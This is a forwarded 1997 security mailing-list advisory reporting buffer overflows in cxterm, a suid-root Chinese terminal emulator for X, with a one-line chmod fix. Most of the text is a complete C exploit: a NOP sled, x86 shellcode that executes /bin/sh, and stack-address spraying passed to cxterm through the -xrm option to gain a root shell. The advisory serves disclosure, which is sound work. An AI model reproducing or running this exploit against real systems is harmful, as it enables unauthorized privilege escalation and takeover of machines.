cxterm buffer overrun

[aleph1 () DFW NET (Aleph One)]

---------- Forwarded message ----------
Date: Wed, 14 May 1997 09:30:19 -0700
From: Ming Zhang <mzhang () softcom net>
Reply-To: linux-security () redhat com
To: linux-security () redhat com
Subject: [linux-security] cxterm buffer overrun

cxterm is a Chinese terminal emulator for the X Window System.
It's installed as suid-root by default if you did a make install.
Just like xterm, it does needs to be suid to update
/etc/utmp...blahblah...

I discovered some buffer overflow bugs in it. The code
attached below is the exploit.

Quick fix? chmod -s /path/cxterm

==========================================================================
/*

   cxterm buffer overflow exploit for Linux.  This code is tested on
both Slackware 3.1 and 3.2.

                                        Ming Zhang
                                        mzhang () softcom net
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i,OffSet = DEFAULT_OFFSET;

/* use a different offset if you find this program doesn't do the job */
   if (argc>1) OffSet = atoi(argv[1]);

   buff = malloc(2048);
   if(!buff)
   {
      printf("Buy more RAM!\n");
      exit(0);
   }
   ptr = buff;

   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
        memcpy (ptr,nop,NOP_SIZE);
        ptr+=NOP_SIZE;
   }

   for(i=0;i < strlen(shellcode);i++)
      *(ptr++) = shellcode[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_sp() + OffSet;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   (void) fprintf(stderr,
         "This bug is discovered by Ming Zhang
(mzhang () softcom net)\n");
    /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
    execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}


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